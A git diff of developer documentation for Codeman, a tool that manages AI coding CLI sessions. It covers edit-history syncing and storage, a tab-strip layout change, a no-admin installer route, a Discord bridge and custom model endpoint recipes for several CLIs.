+⚠️ **Reads only on request, opt-in all the way down.** `server.ts` builds the `EditHistorySync` and hands it to the routes; its only own calls are `remove` (through `forgetEditHistory`, when the session's persisted record goes), `sweep` (startup) and `flushAll` (shutdown). No hook, no timer, no second watcher. The panel drives every read: `?sync=1` when it opens, and while it is open on that session a debounced (600 ms) re-read after a `transcript:tool_end` of an edit-capable tool (Edit, Write, MultiEdit, NotebookEdit, Bash, Agent, Task, SendUserFile), which the existing `TranscriptWatcher` already broadcasts, or the session's `session:idle` (the end of a turn, via `_onSessionIdle`; it also catches a background subagent that writes after the tool end that started it). Not `transcript:complete`: it fires on a `result` line, which claude's interactive transcript never has. A closed panel reads nothing and keeps no badge. Guarded by the "reads only on request" wiring test in `test/edit-history-sync.test.ts`.
+
+⚠️ **Which transcript** (`resolveClaudeTranscript`). The main transcript is the path the session's `TranscriptWatcher` follows (the hook-reported `transcript_path`), so a session is read from where its claude really writes, whatever its `CLAUDE_CONFIG_DIR`. Without a watcher (server restarted, no hook since), `findClaudeTranscript()` looks for `<claudeSessionId|id>.jsonl` under `claudeProjectsDir(session.claudeConfigDir())`: the session's own override (#255, the same dir the relaunch pin checks), else the server's. A config dir set outside Codeman (a shell profile, a wrapper) is never guessed: until the next hook such a session answers `unavailable` / `no-transcript`, and the panel says so. Subagents are `<main path without .jsonl>/subagents/agent-<id>.jsonl`. A different main file (`/clear`, resume): the previous one, next to it in the same directory, is first read to its end with its subagents (over as many syncs as that takes), then the new one from its end with fresh cursors; the stored entries stay. "Load older" reaches back within the current conversation only, and reads the stored conversation's transcript while the switch is still pending.
+
+⚠️ **Bounded reads.** A sync is at most `MAX_FORWARD_PASSES` (3) reads, each at most `READ_BUDGET_BYTES` (8 MiB) shared by the main transcript and all subagents (main first), plus up to 8 KiB of `meta.json` per subagent seen for the first time; a first read starts that far before the end. A file whose chunk the shared budget cut short is not applied but read in a later pass (the store would take a chunk with no line end for one line longer than the budget). "Load older" reads a full-budget block of up to `MAX_OLDER_SOURCES` (3) transcripts per click; with more, they take turns. A line longer than the budget is skipped, going forward and going back, and the line after (before) it is read whole. A subagent transcript that vanished loses its cursor, not its entries. Parsing happens in the request, line by line; nothing runs on the PTY data path. One sync per session at a time, and requests during a run fold into one more run. At most `MAX_LOADED_STORES` (3) stores stay in memory: past that the least recently used one without a run in flight is written (only if it changed) and dropped, and a later request loads it again after that write.
+
+⚠️ **The store holds secrets.** Every diff an agent wrote ends up in `dataPath('edit-history')/<sessionId>.json`, API keys and `.env` contents included. It is written 0600 via tmp + rename (a fresh file each time, so an existing store never keeps wider bits; a new directory is created 0700) and bounded per session: `MAX_ENTRIES` (500) and `MAX_STORE_BYTES` (4 MiB of diff text, paths and ids), oldest dropped, also on load. Each edit's diff is capped at `MAX_HUNK_BYTES` (64 KiB); the file also holds one cursor per transcript file of the current conversation, at most `MAX_PENDING_BASH` (200) unanswered Bash calls of at most 8,192 characters of command text each (a call with an id, cwd or agent id over 4,096 characters is not kept, and dropped on load) and `MAX_AGENTS` (501) subagent labels of at most 1,024 characters per string. `load()` takes the file as untrusted: one over `MAX_FILE_BYTES` (32 MiB) is not parsed, and the rest is rebuilt from its known fields under the same bounds (unknown fields and non-string diff lines dropped, the per-edit cap applied again, a transcript id with anything but `[A-Za-z0-9._-]` dropped, since the previous transcript's path is built from it). Writes are serialized. The store lives as long as the session's persisted record: `forgetEditHistory` runs when `cleanupSession` with `killMux` removes the record (a pinned session's record is only demoted and keeps its history), on the persisted-only `DELETE /api/sessions/:id`, for every record `cleanupStaleSessions` drops at startup and every one `POST /api/cleanup-state` drops. After that startup cleanup, `sweep` deletes the `edit-history/*.json` files whose session is neither live nor recorded (left behind by a crash between removing the record and deleting the file, or by an older build) and tmp files of earlier runs (named per process start, so a pid used again, a container's pid 1, does not keep one). While `remove()` runs, nothing writes the file again: a sync in flight stops after its current read, and a request meanwhile reads nothing (`unavailable` / `removed`). The routes start a sync in the same tick as their session check, so a request that passed the check before the deletion cannot start one afterwards. Then the session's slot goes, and a session that comes back with the same id (reboot restore re-creates it) starts afresh. A store that is not loaded is deleted without being parsed. The store is blocked in `isSensitivePath` (`/.codeman*/edit-history/`, same reasoning as `intents.json`) and never fed to `/api/search`.
+
+⚠️ **Images only through existing file surfaces.** A Bash image candidate counts only when the file's mtime lies in the call's window (start − 2 s … end + 2 s) and no entry already covers that file version; `SendUserFile` images need no window. The panel shows a thumbnail only inside the workspace, through the confined `file-raw` route. An image outside it gets no thumbnail (each would mint an attachment id per render); a click opens the shared file preview, which registers it once through `POST /api/sessions/:id/attachments` with `notify: false` (its extension allowlist and `isSensitivePath` apply). SVGs get no thumbnail, and neither does any image of a remote session (its `file-raw` streams over ssh, one read per listed row); a click previews it. No route of this feature serves a file, least of all a transcript path.
+
+⚠️ **Transcript paths are agent-printed, so they are probed BOUNDED and scanned in linear time** (#516; #693 review). `probeLocalPaths()` sends each candidate through `probePathKind()` (no `pastCap`: a bulk scan), one at a time, and only a path that answered `'file'` gets `realpath` + `stat`; a path on a mount that stopped answering costs one stalled stat, never a sync, a queued sync or `remove()` that cannot finish (`test/edit-history-probe-stall.test.ts`). A remote session's candidates go through `remoteProbePaths()` instead, one bounded ssh round trip per 40 paths; a failed probe ends the probing for that read, and its edits stay in. `PATH_TOKEN_RE` runs synchronously in the request, over Bash output of up to 30,000 characters: an unquoted token may start only at a token boundary (line start or a token-ending character, `:` excluded so URLs stay ignored), and the `file://` branch stops at the next `file://` (`:` stays allowed for timestamped names). A lookbehind that merely excludes some characters lets a match start at every character of a long token and rescan it, quadratic in the line (2.7 s for 30,000 `#`). Time-budget regression tests in `test/edit-history-parse.test.ts`. Forward reads and "Load older" yield to the event loop between the files they parse (up to 8 MiB each); a store removed meanwhile ends the read before its images are probed. Docker and non-claude sessions never load a store on any route.
+
+Paths, agent descriptions and diff lines render via `textContent` only (browser test with a hostile path). The header button uses the marker-class pattern (`btn-edit-history--hidden`) and stays off phones (`mobile.css`, locked in `test/mobile-header-buttons-policy.test.ts`). Docker, non-claude and adopted sessions answer `unsupported` and are never read.
+
+⚠️ **Remote (SSH) sessions: read over ssh, never woken.** The sync stays path-based; its deps get the session, and `server.ts` routes them to the local reader or to `remote-files.ts`. `transcriptPath` is one ssh round trip (`buildRemoteClaudeTranscriptLocateCommand`): first the conversation the claude process in the session's remote pane writes now (its `<config dir>/sessions/<pid>.json`, found through the pane's process tree, since a remote host sends Codeman no hooks), else the most recently written `<config dir>/projects/*/<id>.jsonl` of the stored history's conversation, `<claudeSessionId>` and `<id>` (`remoteTranscriptIds`; nothing moves `claudeSessionId` after a remote `/clear`, and no fixed order is right both after a `/clear` and after a respawn that resumed the launch conversation); the result is an absolute path on the host. A read pass is one more round trip (`buildRemoteClaudeEditSourcesCommand`), or several with more than 300 subagent requests (below), with the local reader's semantics: offset clamped to the size, a block with `len` ends at `offset + len`, a new file reads its tail, one budget shared main-first, `onlyRequested` for "Load older", at most 8 KiB of `meta.json` per subagent (within a 4 MiB meta budget per read, which the local reader does not have: a meta comes only with a subagent's first read, so one past the budget is never sent and that subagent shows its id instead of its description). `test/remote-edit-sources.test.ts` runs both scripts on a real `sh` against a temp `$HOME` and compares the read byte for byte with `readClaudeEditSources` on seeded random transcripts, so `/clear` catch-up, "Load older", cursors and the store LRU behave remotely as locally. Every request value reaches the script only after validation (id `[A-Za-z0-9._-]`, relPath `main` or `subagents/agent-<id>.jsonl`, integer offsets) and shellescaped; the scripts run under `sh -c` with `LC_ALL=C`. The config dir is an absolute `CLAUDE_CONFIG_DIR` of the ssh command's environment, else `$HOME/.claude` (claude's own rule); the remote claude runs under `$SHELL -i -l -c`, the lookup under a plain `sh`, so a value set only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen. A round trip's timeout grows with its byte cap (`remoteEditSourcesTimeoutMs`: 30 s plus the transfer at 256 KiB/s), since a forward pass may carry 13 MiB and "Load older" 29 MiB. ⚠️ **Never wakes:** the lookup and the reads go through `buildRemoteEditHistoryCommand` (`buildRemoteFileCommand` with `exec`, so a timeout reaches ssh and not only the local `sh -c`, which on dash stays its parent), the image probes through `remoteProbePaths`, and all of them through `runWithRemoteSshLimit` (`ConnectTimeout=10`), so a sleeping host is a connect timeout and the panel shows `unavailable` with the stored entries; the edit-history read path reaches neither `remote-wake.ts` nor `session-routes.ts`, even transitively (guard in `test/remote-edit-sources.test.ts`). Without hooks there is no `transcript:tool_end`, so an open panel re-reads on `session:idle` and the refresh button only.
+
+⚠️ **A read with more than 300 subagent requests spans several round trips** (`planRemoteEditSourceRounds`, `EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP`). The script is one argument of the ssh line, Linux caps a single argv string at 128 KiB (`E2BIG` at about 1000 subagents), the cursors have no cap and the stored conversation is read first, so one script for all of them left a long history `unavailable`, and not even a `/clear` got past it. The cut is by NAME RANGE, not only by count: the script takes a file no `case` line names for a new one (its tail, its meta), so plain groups would read each other's files as new. Each round trip walks only the names between its cuts (one `awk` per round trip, never a fork per file), so a new file lands in exactly one range. Main comes with the first round trip, budget and meta budget carry over, and a later round trip still lists its files, because a requested file missing from the result loses its cursor. A failed round trip fails the whole read and nothing of it reaches the store; each one takes its own limiter slot. The merged result equals the local reader's, byte for byte (the fuzz test cuts every read at a random size). A read of up to 300 runs no `awk` at all. ⚠️ No `case` inside a `$(…)`: bash 3.2, macOS `sh`, cannot parse it, which is why the names come from a shell function.
+
 ### Config backups
 
 **Config backups** (`src/config-backup.ts`, pure over the directories it is handed; `routes/config-backup-routes.ts`; the Config backups group in App Settings → System, `settings-ui.js`; contributed in #661, user guide `docs/wiki/Config-Backups.md`, endpoints in `docs/api-reference.md`): timestamped snapshots of the files that hold what a user customized, so a bad write can be undone. Settings (SYNCED): `configBackupEnabled` (absent = ON, since it protects against an event nobody schedules), `configBackupDir` (absolute, `~` expanded; empty, relative or the data dir itself = `<data dir>/backups/config`), `configBackupKeepCount` (2 to 500, default 20), `configBackupKeepDays` (0 to 3650, default 30, `0` = no age limit). A snapshot is a `cfg-YYYYMMDD-HHMMSS` folder (server local time, `-2`, `-3`… on a same-second collision; mode 0700) holding the tracked files under their own names plus a `manifest.json` (all 0600): `id`, `createdAt`, `reason` (`startup`/`auto`/`manual`/`pre-restore`), `appVersion`, the change-check `hash`, the `origin`, the `keepCount`/`keepDays` in force, and a SHA-256 and size per file. It is built in a `.tmp-cfg-*` folder and renamed into place; a pass sweeps temp folders older than an hour. Passes run at startup and every 5 minutes (`CONFIG_BACKUP_INTERVAL_MS` in `server.ts`, not in test mode), and on **Back up now** (forced).
@@ -1047,7 +1125,7 @@ Tests: `test/terminal-touch-tap.test.ts`, `test/session-swipe-gesture.test.ts` (
 
 **Ledger.** CSS only, on `.tabs-ledger` inside `@media (min-width: 768px)` and the header host: the flat list on an auto-fill column grid with equal cells, mono type and a 3px status bar (`--ledger-bar`: yellow for a waiting alert, red for an action alert or an error, muted for stopped, exited and web tabs) instead of the dot. ⚠️ It must not change the markup (pinned: the ledger's innerHTML equals classic's); the rail, the sidebar and narrower strips show the plain list.
 
-**Classic, wrapped: the L-shaped strip.** Once a classic desktop strip in the header host wraps (`tabs-auto-wrap`, or the manual `tabs-two-rows`), `_syncTabStripCorner()` (app.js) adds `.tabs-corner`: `#headerRight` goes `position: absolute` over the strip's top-right corner and the strip runs the header's full width, so only the row(s) beside the toolbar stop short of it and every later row uses the width under it. A flex line cannot be shortened on its own, so in that state the strip is `display: block` with `inline-flex` tabs flowing around a `::before` float sized from the toolbar's box (`--tab-corner-width` / `--tab-corner-height`); the old `row-gap` (lineage's `--lineage-row-gap` included) becomes the tabs' bottom margin and the bottom padding shrinks by the same amount, so row spacing and lineage routing room are unchanged. ⚠️ `updateTabOverflowMode()` removes `.tabs-corner` BEFORE it measures the wrap (the corner takes the toolbar out of the header's flow, which widens the strip), so the wrap is still judged against the one-row layout and an unwrapped strip looks exactly as before. ⚠️ Flex-only rules do not apply to the strip in that state. ⚠️ A strip that already scrolls (past `--tab-strip-max-height`) keeps the plain wrap, checked on the plain strip before the class goes on: the float scrolls with the tabs while the toolbar stays put, and toggling the class on a scrolled strip lets scroll anchoring move it; a strip pushed past the max-height by the float itself falls back too. A first tab too wide for the room beside the toolbar also falls back (the whole first line would drop below the toolbar). A `ResizeObserver` on the toolbar re-decides wrap and corner and redraws the connection lines when a reading or the header divider resizes it without a tab render. Scope: classic arrangement, desktop, header host only; state/case/ledger, the sidebar and the vertical rail never get the class (`applySessionListLayout()` drops it when the strip moves). Tests: `test/tab-strip-corner.browser.test.ts` (browser suite).
+**Classic, wrapped: the L-shaped strip.** Once a classic desktop strip in the header host wraps (`tabs-auto-wrap`, or the manual `tabs-two-rows`), `_syncTabStripCorner()` (app.js) adds `.tabs-corner`: `#headerRight` goes `position: absolute` over the strip's top-right corner and the strip runs the header's full width, so only the row(s) beside the toolbar stop short of it and every later row uses the width under it. A flex line cannot be shortened on its own, so in that state the strip is `display: block` with `inline-flex` tabs flowing around a `::before` float sized from the toolbar's box (`--tab-corner-width` / `--tab-corner-height`); the old `row-gap` (lineage's `--lineage-row-gap` included) becomes the tabs' bottom margin and the bottom padding shrinks by the same amount, so row spacing and lineage routing room are unchanged. ⚠️ `updateTabOverflowMode()` removes `.tabs-corner` BEFORE it measures the wrap (the corner takes the toolbar out of the header's flow, which widens the strip), so the wrap is still judged against the one-row layout and an unwrapped strip looks exactly as before. ⚠️ Flex-only rules do not apply to the strip in that state. ⚠️ A strip that already scrolls (past `--tab-strip-max-height`) keeps the plain wrap, checked on the plain strip before the class goes on: the float scrolls with the tabs while the toolbar stays put, and toggling the class on a scrolled strip lets scroll anchoring move it; a strip pushed past the max-height by the float itself falls back too. A first tab too wide for the room beside the toolbar (the whole first line would drop below it) is trimmed to the room instead (`tab-corner-fit`, `max-width: var(--tab-corner-first-max)`, its name ellipsized): a selected tab is wider (gear and close show), so a fallback here made the whole layout follow the selection. Only a room under `TAB_CORNER_MIN_FIRST_TAB` keeps the plain wrap. ⚠️ The cap goes on the first tab on every pass, never only once it measures too wide: `selectSession()` widens a newly selected tab at once and this sync is debounced, so a cap set afterwards leaves the first row below the toolbar until it runs. It changes nothing on a tab narrower than the room. A `ResizeObserver` on the toolbar re-decides wrap and corner and redraws the connection lines when a reading or the header divider resizes it without a tab render. Scope: classic arrangement, desktop, header host only; state/case/ledger, the sidebar and the vertical rail never get the class (`applySessionListLayout()` drops it when the strip moves). Tests: `test/tab-strip-corner.browser.test.ts` (browser suite).
 
 With `classic` nothing is left behind: no headings, no breaks, no inline order, no boxes, no name split, no arrangement class. A stale cached mobile-overview.js degrades every grouping to the flat strip. Tests: `test/tab-triage.test.ts`, `test/tab-clusters.test.ts`.
 
@@ -1271,6 +1349,14 @@ Its CLI knowledge is a GENERATED block (`npm run generate:cli-catalog`, markers
 
 ⚠️ It executes ONLY commands from the embedded block (`CLI_INSTALL_CMD_TRUSTED`) — there is no network fetch of the catalogue at install time to worry about at all.
 
+**No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, 2026-11-05). Everything Codeman writes was always under `$HOME`; administrator rights were only ever spent on prerequisites. `resolve_admin_mode` decides once per run whether those rights may be asked for: root yes; a Mac account outside the `admin` group no (unless a Homebrew it can write to exists); on Linux no without a `sudo` binary, or when the account is outside `sudo`/`wheel`/`admin` AND `sudo -n true` fails. ⚠️ It is never decided by `sudo -v`: that prompts, and a refused password from an account outside sudoers is reported to the administrator. A refused password on the system route offers this route instead of ending the run (`sudo_session_try`). ⚠️ The group test is a judgment, not a fact: no probe can read sudoers without reporting to the administrator, so an account sudoers lists by name, with a password, lands here too. `NO_ADMIN_REASON` must therefore say the rights could not be confirmed (`NO_ADMIN_UNCONFIRMED`), never that the account may not use `sudo`, and every message that ends or sums up the route carries `no_admin_override_hint`, which names `CODEMAN_NO_ADMIN=0` for that reason alone (`--no-admin` asked for the route; a `sudo` that is missing or refused has no way back).
+
+On this route Node.js comes from nodejs.org (`latest-v<major>.x/SHASUMS256.txt` names the tarball AND carries its checksum, one fetch, no JSON parsing) into `~/.codeman/runtime/node`, and tmux from the tmux project's `tmux-builds` release into `~/.codeman/runtime/bin`. ⚠️ `tmux-builds` publishes no checksum file, so `tmux_build_sha256` pins all four digests of `TMUX_BUILD_VERSION`; bump the version and the digests together (the GitHub release API returns them as `digest`). ⚠️ A download is verified BEFORE it is unpacked or run, and an empty expected digest never passes. `node`, `npm`, `npx` and `tmux` are linked from `~/.local/bin` (`link_into_local_bin` refuses to replace a file that does not already point into the runtime, and uninstall removes only such links): the `codeman` launcher is `#!/usr/bin/env node`, and a non-interactive shell never reads the PATH line written to an interactive profile. The runtime's `node/bin` also goes on PATH and on the LaunchAgent's `svc_path`, since `npm install -g` puts AI CLIs beside that Node.js.
+
+⚠️ `no_admin_blocker` runs before the first download and stops for what this route cannot supply: a C/C++ toolchain on Linux (node-pty 1.1.0 compiles there; a node-pty with Linux prebuilds is what would lift this, and it is a dependency decision, not an installer one), musl, a platform nodejs.org or tmux-builds has no build for, and macOS below 15 (the tmux build's deployment target). ⚠️ Nothing between the "No-admin route" header and "End of the no-admin route" may run `sudo`, `ensure_sudo`, `run_as_root`, Homebrew or `xcode-select --install`; `run_as_root` itself refuses while `NO_ADMIN=1`, so a missed call site fails instead of prompting.
+
+⚠️ **git is judged by whether it works, never by `command -v`.** On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that opens Apple's install dialog, so `check_git` judges that path by `xcode-select -p` and never executes it; any other git is asked for `--version`. `scripts/git-hooks.mjs` has the matching guard (no `.git`, no `git` call), because postinstall runs it on every `npm install`. Without a working git the source is an archive (`fetch_source_archive`, GitHub's `archive/<ref>.tar.gz` or `CODEMAN_TARBALL_URL`) and the install directory carries the marker `.install-source`, which `detectInstallKind` reads as `archive` (the name is pinned across both files by `test/install-sh-invariants.test.ts`). ⚠️ An archive install is replaced as a WHOLE, never patched in place: nothing says which files a newer version dropped, and a stale `src/*.ts` would be compiled. The new tree is fetched and built in `<install dir>.new` and `finish_source_swap` moves it into place only after `npm run build` succeeded, so a failed update leaves the running install untouched; a re-run on a machine that has gained a working git stages a clone instead, which turns the install back into a git one. ⚠️ `download`/`download_to_stdout` resolve `DOWNLOADER` themselves (`require_downloader`): only `main()` used to set it, so a subcommand that downloads died on `set -u` with the message swallowed by the step log.
+
 ## Agent inspection and guarded submission
 
 These three operations are experimental across both CLI and HTTP, including the
@@ -1364,3 +1450,16 @@ refuses them (`GuardedInputBusyError`, which `send-key` answers as `409 CONFLICT
 not edits. Never retry ambiguous Enter delivery or clear an unverified composer.
 The ordinary SubmitVerifier uses the shared write boundary, so each re-press
 updates `lastSubmitAt` just like any other Enter.
+
+## Discord bridge
+
+`src/discord-bridge.ts`, `src/web/routes/discord-routes.ts`, `src/cli-notify.ts`. Opt-in, two-way, one thread per tab. User docs: [discord-bridge](discord-bridge.md).
+
+- **Who can type into a tab.** Only `allowedUserIds`, in `guildId`, inside a thread the bridge created. Everything else is dropped unread. A reply is one printable line plus Enter (a lone digit while a permission or question is pending goes as the key alone, since the dialog acts on it), capped and rate limited, and typed with `fromUser: true`. The bridge's own startup hint is typed with `fromUser: false`.
+- **A Discord failure never reaches a session.** `notify()` never throws; a failed thread creation is returned by `threadFor` as a `DiscordResult`, not read back from shared state.
+- **`null` means the bridge is off.** A deduped automatic event answers `{ ok: true, deduped: true }`; a deliberate `codeman notify` is never deduped. A 200 from `discord-notify` carries the delivery result in `data.ok`, and `codeman notify` exits 1 when it is false.
+- **Threads belong to a parent channel.** `discord-bridge.json` is `{ parentChannelId, threads }`; `reload()` drops the map when the channel changes, and a creation that finishes after the change is discarded.
+- **Deletes come from the cleanup path** (`killMux` true), never from `session:deleted`, which a detach also fires.
+- **Files.** Received files come only from Discord's HTTPS hosts into `<tab folder>/.codeman-discord/` (bounded probe, refused if a symlink, self-ignoring). A sent file's real path must lie inside the tab's folder; both the folder and the file are probed with the bounded probe first.
+- **The whole last message.** A finished turn or an error posts the CLI's whole last message, not the screen: `WebServer.lastResponseFor` is the response viewer's reader (the body of `GET /api/sessions/:id/last-response`, registered on the route context by `registerSessionRoutes`), so the source is the same per-CLI transcript, or the pane split into turns where a CLI keeps none; a dialog and a shell keep the screen tail (its composer row and the status lines under it cut, never a `❯ 1.` option row). The read is bounded to 4 s and any failure or empty read falls back to the screen. It is split into at most 8 posts of 1,900 characters, a cut code fence closed and reopened, and Markdown tables become aligned code blocks (the separator test strips whitespace first: a regex over a run of spaces is quadratic, and the text is steerable by whatever the agent read). The repeat check is keyed on the text plus the turn it came from (the transcript stamp, else the last submit) and is recorded only after the first post succeeds, so a failed post is sent again and a later turn ending on the same words is not dropped. Only some CLIs raise a turn end (`/api/hook-event`: Claude's `stop` and `idle_prompt`, DeepSeek's `stop`), so the others reach this path through errors, a blocked respawn or a crash loop.
+- **Cost guards.** The alert tail is a function called only once a post will happen (no tmux exec while off), and `discord-notify` is a per-session token bucket (6 a minute, `429 RATE_LIMITED`).

docs/custom-model-endpoints-plan.md

@@ -8,8 +8,10 @@ against a **cloud** OpenAI-compatible endpoint too (e.g. Azure AI Foundry's
 OpenAI-compatible inference endpoint, OpenRouter, a self-hosted gateway).
 Right now every Codeman session mode defaults to its native cloud backend
 with no way to redirect a session at any other endpoint from the UI — the
-closest existing precedent is DeepSeek's server-env-sourced
-`DEEPSEEK_BASE_URL`, which isn't user-facing.
+closest existing precedent was DeepSeek's server-env-sourced
+`DEEPSEEK_BASE_URL`, which wasn't user-facing (that env redirect has since
+been superseded by deepseek's per-session patch recipe, see the table
+below).
 
 **Scope note**: this plan originally said "local LLM." It now covers any
 OpenAI-compatible endpoint the user configures — local (llama.cpp, Ollama,
@@ -112,7 +114,7 @@ declared capability, never an `if (mode === 'claude')` branch.
 | `gemini`      | Env vars `GOOGLE_GEMINI_BASE_URL` + `GEMINI_API_KEY` + `GEMINI_MODEL`; CLI needs a restart to pick them up                                                                                                                                                                                                                                                                                                                                                                                                                                                              | **Confirmed BROKEN against llama.cpp/llama-swap, unresolved after real investigation.** Setting `GOOGLE_GEMINI_BASE_URL` makes gemini-cli internally select an `AuthType.GATEWAY` auth path (undocumented — inferred from behaviour) with validation requirements distinct from every normal auth mode; a real run against llama-swap fails with `Invalid auth method selected` regardless of what key/format is supplied. Tried and all failed: a Google-format dummy API key, `GOOGLE_GENAI_USE_VERTEXAI=false`, a `GEMINI_DEFAULT_AUTH_TYPE` override, and hand-writing `settings.json` directly. `--skip-trust` was a real, separate fix (without it a trust-folder check silently overrides `--approval-mode yolo` back to `default`) but does not touch this auth failure. Documented as an open gap, not shipped as working — the registry entry and injection code exist and are exercised by the test script, but end-to-end gemini support needs upstream investigation of `GATEWAY` AuthType before it can be called done                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
 | `pi`          | Config file `~/.pi/agent/models.json` with a custom provider whose `models` is an **array** of `{id}` objects (not an object keyed by id) plus `authHeader: true`. Redirected via the child process's own `HOME` env var, isolated per test/session — **not** `PI_CONFIG_DIR`, which does nothing for pi (grepped pi's entire bundled JS source: the string appears nowhere)                                                                                                                                                                                            | **Verified end-to-end** against a real llama-swap server — real "hello world" reply came back. Two real bugs found and fixed before this worked: (1) `PI_CONFIG_DIR` is not read by pi at all — pi hardcodes `~/.pi/agent/models.json` with no dedicated override, so the actual redirect has to be the child process's `HOME`; (2) `models` must be an array of `{id}` objects per pi's own bundled `docs/models.md`, not an object keyed by model id (silently loaded zero models). Also requires an explicit `--model custom/<id>` on invocation — without it pi falls back to its own default provider and fails with "No API key found for the selected model"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
 | `grok`        | TOML `config.toml`: a fixed `[model.codeman-custom]` block (`base_url`, `env_key` naming an env var the key rides in, never a literal TOML field) written to an isolated dir via `GROK_HOME`. Invoked with `-m codeman-custom`                                                                                                                                                                                                                                                                                                                                          | **Verified end-to-end** against a real llama-swap server — real "hello world" reply came back. The ORIGINAL recipe in this table (env vars `GROK_BASE_URL`/`XAI_API_KEY`/`GROK_MODEL`) was flat-out **wrong**, not just unverified: it produced "Not signed in" against a real binary. Grok's real mechanism, confirmed against xAI's own docs and a live binary, is a `config.toml` with a `[model.<name>]` block, redirected via `GROK_HOME`; the key still rides as an env var (`XAI_API_KEY` via `env_key`), just referenced from the TOML rather than read directly                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| `deepseek`    | Reuse the **existing** `DEEPSEEK_BASE_URL` + `DEEPSEEK_API_KEY` keys (already declared in `stock.ts`), now with `appendV1Suffix: true` (see confidence). Only `DEEPSEEK_BASE_URL` is in `privilegedEnvKeys` — `DEEPSEEK_API_KEY` deliberately stays clamp-exempt, since a non-granted owner supplying their OWN key removes privilege rather than granting it (adding it to the clamp list was a real regression, caught by `test/deepseek-mode.test.ts` and fixed before merge). No model-selection var — dsh model is a profile composition entry, not a flag/env var | **Root cause of the original `HTTP_404` found and fixed, by reading dsh's own bundled source — the same bar pi/grok's fixes were held to.** Installed `@deepseek-ai/dsh` (all its real published dependencies) into a scratch directory purely to read `@deepseek-ai/dsh-llm-deepseek/lib/index.js`: it builds its request as `fetch(\`${connection.baseURL}/chat/completions\`, ...)`with`baseURL`read straight from`DEEPSEEK_BASE_URL`(or defaulting to DeepSeek's real public API root,`https://api.deepseek.com`, which also carries no `/v1`) — no `/v1` insertion of dsh's own, unlike the OpenAI-SDK convention this recipe originally assumed. llama-swap/llama.cpp only ever serves the OpenAI-conventional `/v1/chat/completions`. Confirmed live: `POST <baseUrl>/chat/completions` → `404`, `POST <baseUrl>/v1/chat/completions` → `200`, on the exact same endpoint — and dsh's own error-message template, `DeepSeek API error (HTTP ${status})`, reproduces the originally reported `dsh: HTTP_404: DeepSeek API error (HTTP 404)` precisely. Fixed by adding `appendV1Suffix` (env kind only, deepseek's entry alone — claude/gemini must NOT get it, since claude was already confirmed working against the unmodified `baseUrl`), which runs `endpoint.baseUrl` through the same `withV1Suffix()` helper `configDir`-kind CLIs already use. ⚠️ Not yet re-run end-to-end with a real `dsh` binary — no install available in this environment (no npm-installed CLI binary in `PATH`, and the `codeman-test-picker` container doesn't bundle it either); the fix is source-confirmed and live-verified at the HTTP level, but a genuine "hello world" reply through `dsh` itself is the remaining step before promoting this to **verified** alongside claude/opencode/pi/grok/omp                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| `deepseek`    | Per-session **`DSH_HOME` configDir recipe** (supersedes the original `DEEPSEEK_BASE_URL` + `appendV1Suffix` env redirect): an isolated dir holding only a generated `cordis.patch.yml`, a `codeman-custom` `openai-completions` provider (the base URL gets the `/v1` suffix from the shared `renderConfigFile` step), plus home-level `dsh-tui`/`agent-default-model` rows that select the exact model; the key is referenced by name via `apiKeyEnv: CODEMAN_CUSTOM_MODEL_API_KEY`, a dedicated var, because dsh's own `llm-deepseek`/`web-search-deepseek` patch rows read `DEEPSEEK_API_KEY`, and an in-session `/model` switch back to the official route must not carry the custom key to api.deepseek.com. `linkFromRealHome` + `linkFromRealHomeDirs` symlink `profiles`/`sessions` (directories, created if the real home never ran a turn) and `settings.yaml` back out of the real dsh home. `DSH_HOME` and `CODEMAN_CUSTOM_MODEL_API_KEY` are in `privilegedEnvKeys`; the operator's own `DEEPSEEK_API_KEY` handling (clamp-exempt, server-key forwarding) is unchanged | **Verified end-to-end against a real dsh install by the maintainer** (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1): `--dump-config` shows the three patched rows, the TUI boots on the chosen model, and a prompt reaches the endpoint as `POST /v1/chat/completions` with the right model, the bearer key and `max_tokens: 8192`, the reply renders and the context window shows in the footer. The original `HTTP_404` root cause stays documented in docs/custom-model-endpoints.md: dsh concatenates `/chat/completions` onto the raw base URL, which is why the env recipe needed `/v1` |
 | `omp`         | Config file `~/.omp/agent/models.yml` with the same array-shaped `models` + `authHeader: true` fix as pi. Redirected via `HOME`, same reasoning as pi (`PI_CONFIG_DIR` does not relocate omp's config either, despite an earlier CLAUDE.md note claiming it does)                                                                                                                                                                                                                                                                                                       | **Verified end-to-end** against a real llama-swap server — real "hello world" reply came back, after applying the same two fixes as pi (array-shaped `models`, `HOME`-redirect instead of `PI_CONFIG_DIR`) plus an explicit `--model custom/<id>` on invocation. Unverified against omp's own official docs (none are bundled in the install), but empirically confirmed working live                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
 | `antigravity` | No CLI/env/config mechanism found — Antigravity's docs describe only a GUI settings panel, and explicitly say a custom endpoint "cannot currently" become the core reasoning model. **Not implemented**; toolbar entry stays disabled for this mode with an explanatory tooltip                                                                                                                                                                                                                                                                                         | No known mechanism                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
 

docs/custom-model-endpoints.md

@@ -67,15 +67,23 @@ configured, `PUT`/`DELETE /api/model-endpoints/:id` update or remove one.
 Endpoint management is admin-only in multi-user mode, same as remote/docker
 hosts — these are machine-level infra, not per-user settings.
 
